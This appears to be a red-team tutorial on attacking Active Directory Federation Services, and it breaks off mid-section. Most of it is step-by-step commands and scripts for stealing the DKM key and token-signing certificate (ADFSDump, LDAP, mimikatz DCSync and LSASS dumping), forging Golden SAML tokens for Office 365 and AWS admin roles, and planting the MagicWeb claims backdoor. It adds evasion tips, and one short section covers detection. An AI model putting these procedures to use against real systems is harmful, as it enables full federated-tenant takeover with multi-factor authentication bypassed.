ᛉ Yggdrasil

Active Directory

Active Directory Federation Services (AD FS) Attacks

15 Oct 2026 · 9,380 words · 43 min

Contents

Legend: [RECON] = Reconnaissance technique | [EXPLOIT] = Exploitation method | [PERSIST] = Persistence technique | [CRED] = Credential/Certificate extraction | [FORGE] = Token forgery | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [MITRE] = MITRE ATT&CK mapping


1. AD FS Architecture & Attack Surface

What it means: AD FS is Microsoft's on-premises federation solution that lets users authenticate once (SSO) and access multiple cloud/SaaS services — Office 365, Azure, AWS, Salesforce, Dropbox — without re-entering credentials. It's a prime red team target because compromising it grants access to every federated service simultaneously, bypassing MFA completely.

1.1 How AD FS Works (Authentication Flow)

User                  AD FS Server              Service Provider (O365, AWS...)
 │                        │                             │
 │──── 1. Access ──────────────────────────────────────►│
 │                        │                             │
 │◄─── 2. Redirect ────────────────────────────────────-│
 │                        │                             │
 │──── 3. Creds ─────────►│                             │
 │                        │                             │
 │     4. AD Auth         ├─── LDAP ──►DC               │
 │                        │◄─── User Claims ────────────│
 │                        │                             │
 │     5. Claims pipeline  (accept, transform, issue)   │
 │                        │                             │
 │     6. SIGN token      (Token-Signing Certificate)   │
 │                        │                             │
 │◄─── 7. SAML Token ────-│                             │
 │                        │                             │
 │──── 8. Present token ───────────────────────────────►│
 │                        │                             │
 │◄─── 9. Access granted ──────────────────────────────-│

1.2 Attack Surface Overview

Component              Location                    Attack
─────────────────────────────────────────────────────────────────────
Token-Signing Cert    ADFS server (DPAPI + WID)    Golden SAML
DKM Key               Active Directory (LDAP)      DKM extraction
Claims Pipeline       ADFS server                  MagicWeb / claims injection
ADFS DLL chain        %WinDir%\ADFS\               FoggyWeb / DLL hijacking
Configuration DB      WID (named pipe)             ADFSDump / sqlcmd
ADFS Login Portal     HTTPS /adfs/ls/              Phishing / credential relay
PTA Agent             AAD Connect server           PTASpy skeleton key
WS-Federation STS     /adfs/services/trust         Token replay

1.3 Key Terminology

Term Description
SAML Assertion XML document containing user identity claims, signed by AD FS
Token-Signing Cert X.509 certificate whose private key signs every SAML assertion
DKM (Distributed Key Manager) AD-stored master key that encrypts the token-signing cert's private key
EncryptedPFX Encrypted certificate blob stored in the AD FS configuration DB (WID/SQL)
Relying Party (RP) Service that trusts AD FS (Office 365, AWS, Salesforce, etc.)
Claims Statements about a user embedded in the SAML token (UPN, groups, ImmutableID)
WID Windows Internal Database — local SQL-like DB holding AD FS config
ImmutableID Azure AD user identifier, must match between forged token and Azure AD

2. Reconnaissance & Enumeration

What it means: Before attacking AD FS, you need to map the environment — find the federation endpoints, identify relying parties, determine token-signing cert thumbprint, and understand user/domain layout. This can be done externally (unauthenticated) or internally (post-compromise).

[MITRE] T1590 — Gather Victim Network Information | T1087.004 — Account Discovery: Cloud Account

2.1 External Recon (Unauthenticated)

Discovery via DNS / OpenID Configuration

# Discover if a domain uses AD FS vs Entra ID (Managed vs Federated)
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | python3 -m json.tool

# Check federation type via GetCredentialType API
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
     -H "Content-Type: application/json" \
     -d '{"username":"test@targetdomain.com"}' | python3 -m json.tool

# Important fields in response:
# "IsFederated": 1        → domain uses AD FS (federated)
# "IsFederated": 0        → domain is cloud-only (managed)
# "FederationRedirectUrl" → AD FS server URL

AADInternals External Recon

# [TOOL] Install AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

# Full external recon of target tenant (no credentials needed)
Invoke-AADIntReconAsOutsider -Domain "targetdomain.com" | Format-List

# Output includes:
# Tenant ID, Tenant Name
# Federation type (AD FS vs Managed vs PTA)
# AD FS STS URL (e.g., https://sts.targetdomain.com/adfs/services/trust)
# DesktopSSO enabled/disabled
# MDI (Microsoft Defender for Identity) presence
# AAD Connect sync status

# User enumeration (unauthenticated, uses GetCredentialType)
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@targetdomain.com"
# Output: True/False — user exists in Azure AD

# Bulk user enumeration from file
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider

# Check if DesktopSSO is enabled (allows stealthier enumeration)
Get-AADIntLoginInformation -Domain "targetdomain.com"

Locate AD FS Endpoints

# Common AD FS endpoints to fingerprint:
# https://sts.domain.com/adfs/ls/                    → SAML SSO endpoint
# https://sts.domain.com/adfs/services/trust         → WS-Trust STS
# https://sts.domain.com/FederationMetadata/2007-06/FederationMetadata.xml
# → FederationMetadata.xml — goldmine for attackers:
#   contains token-signing cert thumbprint, algorithms, endpoints

curl -s "https://sts.targetdomain.com/FederationMetadata/2007-06/FederationMetadata.xml"
# Extract token-signing cert from <ds:X509Certificate> element
# Extract relying party trust names and STS URLs
#!/usr/bin/env python3
# parse_federation_metadata.py — Extract key info from FederationMetadata.xml

import requests
import xml.etree.ElementTree as ET
import base64
import sys

def parse_federation_metadata(url: str):
    resp = requests.get(url, verify=False, timeout=10)
    root = ET.fromstring(resp.text)

    ns = {
        'md':  'urn:oasis:names:tc:SAML:2.0:metadata',
        'ds':  'http://www.w3.org/2000/09/xmldsig#',
        'fed': 'http://docs.oasis-open.org/wsfed/federation/200706',
    }

    # Extract token-signing cert thumbprint
    certs = root.findall('.//ds:X509Certificate', ns)
    print("[*] Token-Signing Certificates:")
    for cert in certs:
        cert_data = base64.b64decode(cert.text)
        print(f"    Cert (first 20 bytes): {cert_data[:20].hex()}")
        print(f"    B64 length: {len(cert.text)} chars")

    # Extract STS endpoints
    print("\n[*] STS Endpoints:")
    for ep in root.findall('.//{http://schemas.xmlsoap.org/ws/2003/07/secext}EndpointReference'):
        addr = ep.find('{http://www.w3.org/2005/08/addressing}Address')
        if addr is not None:
            print(f"    {addr.text}")

if __name__ == "__main__":
    domain = sys.argv[1] if len(sys.argv) > 1 else "targetdomain.com"
    url = f"https://sts.{domain}/FederationMetadata/2007-06/FederationMetadata.xml"
    parse_federation_metadata(url)

2.2 Internal Recon (Post-Compromise)

Once you have domain credentials or local access to the AD FS server:

# ─── Basic AD FS Discovery ────────────────────────────────────
# Enumerate AD FS properties (run on AD FS server or with ADFS admin rights)
Get-ADFSProperties | Select-Object HostName, Identifier, AutoCertificateRollover, CertificateDuration

# Get all certificates (token-signing and token-encryption)
Get-AdfsCertificate | Select-Object CertificateType, Thumbprint, Certificate, IsPrimary

# Get all Relying Party Trusts (services that trust this AD FS)
Get-AdfsRelyingPartyTrust | Select-Object Name, Identifier, IsEnabled, WSFedEndpoint, SamlEndpoints

# Get all Claims Provider Trusts
Get-AdfsClaimsProviderTrust | Select-Object Name, Identifier, IsEnabled

# Enumerate AD FS endpoint URLs
Get-AdfsEndpoint | Where-Object { $_.Enabled -eq $true } | Select-Object FullUrl, Protocol

# Get AD FS service account name
(Get-WmiObject Win32_Service -Filter "Name='ADFSSRV'").StartName
# Also: ps aux | grep adfs on PowerShell: Get-Process -Name microsoft.identityserver*
# ─── Relying Party Deep Dive ──────────────────────────────────
# List all RPs with claim rules (find misconfigured rules)
Get-AdfsRelyingPartyTrust | ForEach-Object {
    Write-Host "`n=== $($_.Name) ===" -ForegroundColor Cyan
    Write-Host "  Identifier:  $($_.Identifier)"
    Write-Host "  WS-Fed URL:  $($_.WSFedEndpoint)"
    Write-Host "  SAML URL:    $($_.SamlEndpoints)"
    Write-Host "  Claim Rules: $($_.IssuanceTransformRules)"
}

# Check for AD FS Web Application Proxy settings
Get-AdfsWebApplicationProxyRelyingPartyTrust

# Get token lifetime settings (default: 60 minutes — exploitable with custom lifetime)
Get-AdfsRelyingPartyTrust -Name "Microsoft Office 365 Identity Platform" | 
    Select-Object TokenLifetime, RequestMFAFromClaimsProviders
# ─── AD FS Configuration Database Query ──────────────────────
# WID path (can only be queried locally, NOT by DA unless on ADFS server):
# \\.\pipe\MICROSOFT##WID\tsql\query
# OR: \\.\pipe\LOCALDB#<id>\tsql\query

# Query via sqlcmd (must be run as ADFS service account or SYSTEM):
sqlcmd -S "np:\\.\pipe\MICROSOFT##WID\tsql\query" -Q "SELECT name FROM sysdatabases"
sqlcmd -S "np:\\.\pipe\MICROSOFT##WID\tsql\query" -d AdfsConfigurationV3 `
       -Q "SELECT ServiceSettingsData FROM IdentityServerPolicy.ServiceSettings"

[OPSEC] The WID named pipe cannot be accessed by Domain Admins — it only accepts the ADFS service account context and SYSTEM. This is why ADFSDump must run as the service account or SYSTEM on the AD FS server itself.


3. Golden SAML Attack — Full Chain

What it means: Golden SAML is the AD FS equivalent of the Kerberos Golden Ticket. An attacker who steals the AD FS token-signing certificate's private key can forge SAML tokens for any user, for any relying party (Office 365, Azure, AWS, Salesforce, Dropbox), indefinitely, completely bypassing MFA and password requirements. The forged tokens are cryptographically valid — they pass all signature checks.

[MITRE] T1606.002 — Forge Web Credentials: SAML Tokens | T1550.001 — Use Alternate Authentication Material

3.1 Why Golden SAML Is So Powerful

Golden Ticket (Kerberos) vs Golden SAML:
─────────────────────────────────────────────────────────────────────
Attribute          Golden Ticket               Golden SAML
─────────────────────────────────────────────────────────────────────
Target             AD only                     Every federated service
Key used           KRBTGT hash                 Token-signing cert private key
MFA bypass?        Partial                     Complete (MFA never reached)
Password reset?    Breaks it                   Doesn't break it (cert-based)
Scope              Internal AD access          O365, Azure, AWS, Salesforce...
Detection          Kerberos Event IDs          Cloud-side sign-in anomalies
Persistence        Until KRBTGT rotated        Until cert rotated twice
─────────────────────────────────────────────────────────────────────

Key insight: Changing every user's password does NOT stop Golden SAML.
Only rotating the token-signing certificate (twice, in rapid succession)
invalidates existing forged tokens.

3.2 Golden SAML — Full Attack Chain

[Phase 1: Initial Access]
  Phishing / Exploitation
        ↓
  Compromise domain-joined machine
        ↓
  Lateral movement → Domain Admin

[Phase 2: Pivot to AD FS Server]
  Lateral movement to AD FS server
        ↓
  Impersonate ADFS service account (or run as SYSTEM)

[Phase 3: Extraction]
  ADFSDump (on AD FS server, as service account):
    → EncryptedPFX (token-signing cert, encrypted)
    → DKM key (from Active Directory)

[Phase 4: Offline Decryption & Forgery]
  ADFSpoof (on attacker machine):
    → Decrypt EncryptedPFX using DKM key
    → Forge SAML token for target user (e.g., Global Admin)
    → Sign with extracted cert private key

[Phase 5: Access Any Service]
  Present forged SAML token to:
    → Office 365
    → Azure
    → AWS via IAM federation
    → Salesforce, Dropbox, etc.
  MFA is never prompted — token already "proves" authentication

3.3 Prerequisites Checklist

Required for Golden SAML:
  ✅ Local access to AD FS server (admin or SYSTEM)
  ✅ Run as ADFS service account context
     (or have permissions to impersonate it)
  ✅ Read access to Active Directory DKM container
     (DKM ACL grants this to service account by default)

What you DON'T need:
  ✗ Target user's password
  ✗ Target user's MFA device
  ✗ Being on the corporate network during usage
  ✗ Any credentials after extraction (offline forgery)

4. DKM Key Extraction

What it means: AD FS stores the token-signing certificate as an encrypted blob (EncryptedPFX) in its configuration database. The decryption key for this blob is the DKM (Distributed Key Manager) key, stored in Active Directory inside a special container. To perform Golden SAML, you need both: the EncryptedPFX blob AND the DKM key.

[MITRE] T1552.004 — Unsecured Credentials: Private Keys | T1003 — OS Credential Dumping

4.1 DKM Storage Location in AD

AD object path (typical):
CN=CryptoPolicy,CN=<GUID>,CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=com

The DKM key is stored as the attribute:
  thumbnailPhoto (old) OR l (new)

The GUID folder name is found in the AD FS configuration:
  Get-AdfsProperties | Select-Object DkmContainerDn

4.2 Method 1 — LDAP Query (via ADFSDump)

# ADFSDump extracts both DKM key and EncryptedPFX in one command
# Must run on the AD FS server as the ADFS service account or SYSTEM

# Download ADFSDump:
# https://github.com/mandiant/ADFSDump

# Run ADFSDump (on AD FS server, impersonating service account):
ADFSDump.exe /domain:targetdomain.com /DomainController:dc01.targetdomain.com

# Output:
# [-] DKM Key Begin                     ← This is the DKM key (hex)
# <hex_key_data>
# [-] DKM Key End
#
# [-] Encrypted Token Signing Key Begin ← EncryptedPFX blob (base64)
# <base64_blob>
# [-] Encrypted Token Signing Key End
#
# [+] ADFS Relying Party Trusts:
# Name: Microsoft Office 365 Identity Platform
# Sign-In Protocol: WsFed-SAML (SAML 1.1)
# ImmutableID Required: True
# Identifier: urn:federation:MicrosoftOnline
# Save the outputs to files for use with ADFSpoof
# DKM key → DKMkey.bin (binary hex decode)
# EncryptedPFX → EncryptedPfx.bin (base64 decode)

python3 -c "
import binascii, base64, sys

dkm_hex  = '<hex_from_ADFSDump>'
pfx_b64  = '<base64_from_ADFSDump>'

with open('DKMkey.bin', 'wb') as f:
    f.write(binascii.unhexlify(dkm_hex.replace(' ', '')))

with open('EncryptedPfx.bin', 'wb') as f:
    f.write(base64.b64decode(pfx_b64))

print('[+] Files saved: DKMkey.bin, EncryptedPfx.bin')
"

4.3 Method 2 — Direct LDAP Query (Manual)

# Extract DKM key directly from AD using LDAP (no ADFSDump needed)
# Requires domain credentials with read access to DKM container

# Step 1: Get the DKM container DN from ADFS config
$dkmDN = (Get-AdfsProperties).DkmContainerDn
Write-Host "[*] DKM Container DN: $dkmDN"

# Step 2: Query the DKM object in Active Directory
$dkmObject = Get-ADObject -Identity $dkmDN -Properties *
$dkmKey = $dkmObject.thumbnailPhoto  # older AD FS
# OR:
$dkmKey = $dkmObject.l               # newer versions

Write-Host "[*] DKM Key (hex): $([BitConverter]::ToString($dkmKey))"
[System.IO.File]::WriteAllBytes("DKMkey.bin", $dkmKey)
Write-Host "[+] Saved: DKMkey.bin"
#!/usr/bin/env python3
# ldap_dkm_extract.py — Extract DKM key via LDAP (using ldap3)
# pip install ldap3

import ldap3
import binascii
import sys

DOMAIN_CONTROLLER = "dc01.targetdomain.com"
USERNAME  = "DOMAIN\\adfs_service_account"
PASSWORD  = "password"
DKM_DN    = "CN=CryptoPolicy,CN=<GUID>,CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=com"

server = ldap3.Server(DOMAIN_CONTROLLER, port=636, use_ssl=True)
conn   = ldap3.Connection(server, user=USERNAME, password=PASSWORD, authentication=ldap3.NTLM)

if not conn.bind():
    print(f"[-] Bind failed: {conn.result}")
    sys.exit(1)

print(f"[+] Bound as: {USERNAME}")

conn.search(
    search_base=DKM_DN,
    search_filter="(objectClass=*)",
    attributes=["thumbnailPhoto", "l"]
)

for entry in conn.entries:
    if entry["thumbnailPhoto"].value:
        dkm_key = entry["thumbnailPhoto"].value
        print(f"[+] DKM key found (thumbnailPhoto): {len(dkm_key)} bytes")
        with open("DKMkey.bin", "wb") as f:
            f.write(dkm_key)
        print("[+] Saved: DKMkey.bin")
        break
    elif entry["l"].value:
        dkm_key = entry["l"].value
        print(f"[+] DKM key found (l attribute): {len(dkm_key)} bytes")
        with open("DKMkey.bin", "wb") as f:
            f.write(dkm_key if isinstance(dkm_key, bytes) else dkm_key.encode())
        break

conn.unbind()

4.4 Method 3 — DCSync (Mimikatz)

# DCSync replicates directory data like a domain controller
# Requires Replicating Directory Changes permission (DA, Azure AD Connect account, etc.)

# Dump DKM key via DCSync using mimikatz
mimikatz.exe "lsadump::dcsync /domain:targetdomain.com /guid:{DKM_OBJECT_GUID}" exit
# The GUID is the DKM object's objectGUID in Active Directory

# Via Impacket secretsdump (remote, no mimikatz needed)
impacket-secretsdump -outputfile dcsync_output \
    'DOMAIN/administrator:password@dc01.targetdomain.com'
# The DKM key appears in the output if you specify the object GUID

4.5 Method 4 — Mimikatz DPAPI

# AD FS encrypts the token-signing cert with the service account's DPAPI master key
# Mimikatz can recover the DPAPI master key from LSASS (must run on AD FS server)

# Step 1: Dump LSASS to get DPAPI keys
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# OR:
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:dc01.targetdomain.com /export" exit

# Step 2: Use DPAPI to decrypt the token-signing cert
mimikatz.exe "dpapi::masterkey /in:<masterkey_file> /sid:<service_account_sid> /password:<password>" exit
mimikatz.exe "dpapi::capi /in:<cert_file>" exit

# Step 3: Export certificate from cert store (if marked exportable)
# In MMC → Certificates → Export with private key (.pfx)

[OPSEC] Most managed AD FS token-signing certs are NOT exportable via MMC. The DPAPI/WID approach via ADFSDump is the standard path. HSM-backed certs resist ALL these methods.


5. Token Signing Certificate Extraction

What it means: Once you have the EncryptedPFX blob (from the WID database) and the DKM key (from Active Directory), you can decrypt the token-signing certificate offline. This gives you the private key that signs every SAML assertion issued by this AD FS instance.

5.1 Extract EncryptedPFX via ADFSDump

# ADFSDump must run locally on the AD FS server, as the service account or SYSTEM.
# It reads the WID via named pipe (only accessible locally).

# Run ADFSDump with all outputs
.\ADFSDump.exe /domain:targetdomain.com /dc:dc01.targetdomain.com

# To run as ADFS service account (from SYSTEM context):
# 1. Get service account name:
(Get-WmiObject Win32_Service -Filter "Name='ADFSSRV'").StartName

# 2. Impersonate via token theft (if you have SYSTEM):
# Use token impersonation tools (Incognito, mimikatz token::elevate, etc.)
# OR use RunAs with known service account creds

# 3. Run ADFSDump from impersonated context

5.2 Extract via AADInternals (PowerShell)

# [TOOL] AADInternals — Export AD FS signing certificate
# Run on AD FS server as service account or local admin

Import-Module AADInternals

# Export the AD FS token-signing certificate + private key
# Outputs PFX file with private key
Export-AADIntADFSSigningCertificate -Path "signing_cert.pfx"

# OR: Extract the cert and show DKM key
Get-AADIntADFSConfiguration -AsJson | ConvertFrom-Json | Select-Object SigningCertificate, DKMKey

# Export certificate for a specific service:
Export-AADIntADFSSigningCertificate -Server "dc01.targetdomain.com"

5.3 Manual WID Query via sqlcmd

# Query the WID directly (run as ADFS service account on ADFS server)
sqlcmd -S "np:\\.\pipe\MICROSOFT##WID\tsql\query" `
       -d AdfsConfigurationV3 `
       -Q "SELECT TOP 1 ServiceSettingsData FROM IdentityServerPolicy.ServiceSettings" `
       -o adfs_config.xml

# The ServiceSettingsData XML contains:
# <SigningToken> → Base64 encoded EncryptedPFX
# Extract with PowerShell:
$xml = [xml](Get-Content "adfs_config.xml")
$encryptedPfx = $xml.ServiceSettingsData.SecurityTokenService.SigningToken
[System.IO.File]::WriteAllBytes("EncryptedPfx.bin", [Convert]::FromBase64String($encryptedPfx))
Write-Host "[+] Saved EncryptedPfx.bin"

5.4 Decrypt EncryptedPFX (Python)

#!/usr/bin/env python3
# decrypt_adfs_cert.py — Decrypt AD FS EncryptedPFX using DKM key
# Uses ADFSpoof's crypto logic

# The decryption uses a non-standard Microsoft KDF:
# Key = HMAC-SHA256(DKMKey, IV + Label)
# Cipher = AES-128-CBC

# ADFSpoof handles this automatically. Use:
# python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# Output: signing_cert.pfx (PKCS12 file with private key)

# ─── Manual verification (openssl) ───────────────────────────
# After ADFSpoof dump command produces signing_cert.pfx:

# Verify PFX file
# openssl pkcs12 -in signing_cert.pfx -nocerts -nodes -out private_key.pem
# openssl x509 -in signing_cert.pfx -noout -text | grep -E "Issuer|Subject|Not|Thumb"

# Extract just the public certificate
# openssl pkcs12 -in signing_cert.pfx -clcerts -nokeys -out cert.pem
# openssl x509 -in cert.pem -noout -text | grep Subject

6. SAML Token Forgery with ADFSpoof

What it means: With the decrypted token-signing certificate in hand, you can now forge SAML tokens for any user, for any relying party (Office 365, Azure, AWS, Salesforce, etc.). ADFSpoof automates this process. The forged token is cryptographically indistinguishable from a legitimate one.

[MITRE] T1606.002 — Forge Web Credentials: SAML Tokens

6.1 ADFSpoof Setup

# [TOOL] ADFSpoof — Python SAML token forger
# GitHub: https://github.com/mandiant/ADFSpoof

# Clone and install dependencies
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof

# Install the required custom crypto fork (important — standard pyca won't work!)
git clone https://github.com/mandiant/cryptography
cd cryptography && pip install . && cd ..

pip install -r requirements.txt

# Verify setup
python3 ADFSpoof.py --help

6.2 Forge Office 365 / Azure Token

# ─── Step 1: Decrypt EncryptedPFX (if you have blob + DKM key) ─────────
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# Output: signing_cert.pfx (contains private key + cert)

# ─── Step 2: Forge token for Office 365 ───────────────────────────────
# Required info from ADFSDump output or recon:
# --upn      = User Principal Name of target (e.g., ceo@targetdomain.com)
# --objectguid = Azure AD ObjectGUID of target user
# --sts      = ADFS STS URL (e.g., sts.targetdomain.com)

# Find ObjectGUID from Active Directory:
# (Get-ADUser -Identity "ceo").ObjectGUID
# (In Azure portal → Users → Properties → Object ID)

python3 ADFSpoof.py \
    -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    o365 \
    --upn "ceo@targetdomain.com" \
    --objectguid "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"

# Output: A SAML 1.1 token (WS-Federation format) for Office 365
# Redirect to: https://login.microsoftonline.com (POST the token)

6.3 Forge AWS SAML Token

# Forge a SAML 2.0 token for AWS federation
python3 ADFSpoof.py \
    -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    saml2 \
    --endpoint "https://signin.aws.amazon.com/saml" \
    --nameidformat "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent" \
    --nameid "ceo@targetdomain.com" \
    --rpidentifier "urn:amazon:webservices" \
    --assertions "https://aws.amazon.com/SAML/Attributes/Role=arn:aws:iam::ACCOUNTID:role/AdminRole,arn:aws:iam::ACCOUNTID:saml-provider/SAML_PROVIDER"

# The assertions claim the AWS IAM role the token grants
# From ADFSDump output: "Relying Party: Amazon Web Services (AWS)"
# Check the IssuanceTransformRules for the correct Role attribute format

6.4 Forge Generic SAML 2.0 Token

# For any SAML 2.0 relying party
python3 ADFSpoof.py \
    -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    saml2 \
    --endpoint "https://targetapp.com/saml/acs" \
    --nameidformat "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" \
    --nameid "admin@targetdomain.com" \
    --rpidentifier "https://targetapp.com" \
    --assertions "http://schemas.microsoft.com/ws/2008/06/identity/claims/role=Administrator"

6.5 Golden SAML Using AADInternals

# [TOOL] AADInternals — all-in-one Golden SAML (on ADFS server)
Import-Module AADInternals

# Step 1: Export signing cert
Export-AADIntADFSSigningCertificate -Path "C:\temp\signing.pfx"

# Step 2: Forge token and log in to Office 365 directly
# Get ImmutableID for target user (required for O365):
$immutableID = [System.Convert]::ToBase64String(
    (Get-ADUser "ceo").ObjectGUID.ToByteArray()
)

# Generate forged token
$token = New-AADIntSAMLToken `
    -UserName "ceo@targetdomain.com" `
    -ImmutableID $immutableID `
    -Issuer "http://sts.targetdomain.com/adfs/services/trust" `
    -PfxFileName "C:\temp\signing.pfx" `
    -PfxPassword ""

Write-Host $token

# Step 3: Use token to get O365 access token
$accessToken = Get-AADIntAccessTokenUsingExternalToken -Token $token -Resource "https://graph.microsoft.com"
Write-Host "[+] Access token obtained for Microsoft Graph"

[OPSEC] When using forged tokens against Office 365, ensure the ImmutableID matches the user's Azure AD ObjectID (base64-encoded). Azure validates: (1) token not expired, (2) ImmutableID matches a synced user, (3) signature is valid. If all three check out — full access granted.


7. AADInternals — Swiss Army Knife

What it means: AADInternals (by Dr. Nestori Syynimaa / @DrAzureAD) is the most comprehensive PowerShell toolkit for Azure AD and AD FS attacks. It covers reconnaissance, exploitation, credential extraction, token forgery, and persistence. Essential tool for any red team targeting hybrid AD environments.

[MITRE] T1087.004 | T1606.002 | T1556.007 | T1098.005

7.1 Installation & Setup

# Install from PowerShell Gallery
Install-Module AADInternals -Scope CurrentUser -Force
Import-Module AADInternals

# Or install offline (download first):
Save-Module -Name AADInternals -Path "C:\Tools"
Import-Module "C:\Tools\AADInternals"

# Verify installation
Get-Command -Module AADInternals | Measure-Object
Get-Module AADInternals | Select-Object Version

7.2 Key Commands Reference

# ─── RECON: External (no creds needed) ────────────────────────
# Full tenant recon from domain name
Invoke-AADIntReconAsOutsider -Domain "targetdomain.com" | Format-List
# Gets: TenantID, tenant name, federation type, MDI presence, AAD Connect

# Check if domain is federated and get STS URL
Get-AADIntLoginInformation -Domain "targetdomain.com"

# User enumeration
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@targetdomain.com"

# Bulk user enum from file (stealthy autologon method — no Azure sign-in logs)
Get-Content "userlist.txt" | Invoke-AADIntUserEnumerationAsOutsider -Method Autologon
# Methods: Normal (creates login attempt log) | Autologon (silent) | OneDrive (silent)

# ─── AUTHENTICATION ────────────────────────────────────────────
# Authenticate to Azure AD with various flows
$creds = Get-Credential
Get-AADIntAccessTokenForMSGraph -Credentials $creds

# OAuth device code flow (phishing)
Get-AADIntAccessTokenForMSGraph -UseDeviceCode

# ─── AD FS SPECIFIC ────────────────────────────────────────────
# Run on AD FS server as service account / SYSTEM

# Get full AD FS configuration
Get-AADIntADFSConfiguration | ConvertFrom-Json

# Export token-signing certificate with private key
Export-AADIntADFSSigningCertificate -Path "C:\temp\signing.pfx"

# Get AD FS service account name and configuration
Get-AADIntADFSConfiguration -AsJson

# Forge SAML token and get O365 access
$token = New-AADIntSAMLToken -UserName "admin@domain.com" `
    -ImmutableID "base64==" `
    -Issuer "http://sts.domain.com/adfs/services/trust" `
    -PfxFileName "signing.pfx"

# ─── POST-EXPLOITATION ─────────────────────────────────────────
# After obtaining access tokens, enumerate tenant
$token = Get-AADIntAccessTokenForMSGraph -Credentials $creds
Get-AADIntUsers -AccessToken $token | Select-Object UserPrincipalName, DisplayName, IsAdmin
Get-AADIntGroups -AccessToken $token | Select-Object DisplayName, SecurityEnabled
Get-AADIntTenantDetails -AccessToken $token

8. MagicWeb — AD FS Claims Backdoor

What it means: MagicWeb is a post-exploitation backdoor created by APT29 (NOBELIUM / Cozy Bear). It replaces the legitimate Microsoft.IdentityServer.Diagnostics.dll in the AD FS Global Assembly Cache (GAC) with a malicious version. This backdoor intercepts the claims pipeline and can forge authentication for any user with any claims — bypassing MFA, role policies, device policies, and network policies. First discovered and disclosed by Microsoft in August 2022.

[MITRE] T1556.007 — Modify Authentication Process: Hybrid Identity

8.1 How MagicWeb Works

Normal AD FS Claims Pipeline:
  ProcessClaims() → LDAP lookup → Claims generated → Sign token

MagicWeb Backdoored Pipeline:
  ProcessClaims() 
      ↓
  Hooked BeginProcessClaims()  ← MagicWeb intercepts here
      ↓
  Check: Does request contain magic OID value?
      ↓ Yes                              ↓ No
  Inject custom claims               Normal processing
  (any user, any role, MFA bypassed)
      ↓
  Sign and return token

The magic OID is a specific OID value in the certificate extension
that acts as a secret backdoor trigger. An attacker presents a cert
with this OID → AD FS accepts them as ANY user.

8.2 Deployment Method

Deployment steps (requires local SYSTEM / AD FS server admin):

1. Identify legitimate DLL:
   %SystemRoot%\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer.Diagnostics\
   Microsoft.IdentityServer.Diagnostics.dll

2. Create backdoored version:
   Copy legitimate DLL as base
   Inject malicious code into BeginProcessClaims() method
   Overwrite original in GAC (requires elevated privileges):
   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer.Diagnostics\
   vX.X.X.X__<PublicKeyToken>\Microsoft.IdentityServer.Diagnostics.dll

3. Restart AD FS service or wait for next service start:
   Restart-Service adfssrv

4. Trigger: Present client certificate with magic OID to ADFS
   → AD FS generates a token for any user you specify

8.3 Hunting for MagicWeb

# ─── Detection: Check DLL hash in GAC ────────────────────────
# Get expected hash from a known-good installation
$legit_dll = "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer.Diagnostics\v4.0_X.X.X.X__31bf3856ad364e35\Microsoft.IdentityServer.Diagnostics.dll"
$hash = Get-FileHash $legit_dll -Algorithm SHA256
Write-Host "DLL Hash: $($hash.Hash)"

# Compare against known-good baseline:
# Compare hash to Microsoft's published hash for your AD FS version

# ─── Detection: GAC monitoring ───────────────────────────────
# List all assemblies in GAC with timestamps
Get-ChildItem "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer*" -Recurse |
    Select-Object Name, LastWriteTime, Length |
    Sort-Object LastWriteTime -Descending

# Any recently modified DLL in the ADFS GAC path is suspicious

# ─── Detection: Event IDs ──────────────────────────────────
# Windows Event ID 1033: Application Error (if MagicWeb crashes)
# Windows Event ID 4688: Process creation — check for adfssrv.exe child processes
# AD FS Admin Event 364: Unexpected certificate used for authentication

# Yara-like pattern search for MagicWeb IOCs:
# Specific string in the DLL: "BeginProcessClaims" (patched method)
# Presence of modified Microsoft.IdentityServer.Diagnostics.dll

[OPSEC] MagicWeb does not generate standard AD FS audit events during use because it intercepts the pipeline before logging occurs. Detection requires file integrity monitoring (FIM) on the GAC and behavioral anomaly detection on sign-in patterns.


9. FoggyWeb — AD FS Persistent Backdoor

What it means: FoggyWeb is another APT29 (NOBELIUM) implant, a passive backdoor deployed against AD FS servers. It uses DLL search order hijacking to inject version.dll into the AD FS service process, establishing a covert HTTP listener that exfiltrates the AD FS configuration database, token-signing certs, and other key material. Disclosed by Microsoft in September 2021.

[MITRE] T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking | T1003 — OS Credential Dumping

9.1 FoggyWeb Architecture

Normal DLL load chain for AD FS:
  Microsoft.IdentityServer.ServiceHost.exe
    → loads mscoree.dll (CLR host)
      → loads mscoreei.dll
        → loads version.dll from %WinDir%\System32\version.dll

FoggyWeb hijacking:
  Microsoft.IdentityServer.ServiceHost.exe
    → loads mscoree.dll
      → loads mscoreei.dll
        → loads %WinDir%\ADFS\version.dll  ← ATTACKER DLL (takes precedence!)
          (mscoreei.dll checks ADFS folder first due to DLL search order)

The malicious version.dll:
  1. Acts as proxy for legitimate version.dll (to avoid crashes)
  2. Decrypts and loads FoggyWeb backdoor into memory (using LEA cipher)
  3. FoggyWeb registers itself in the AD FS application domain
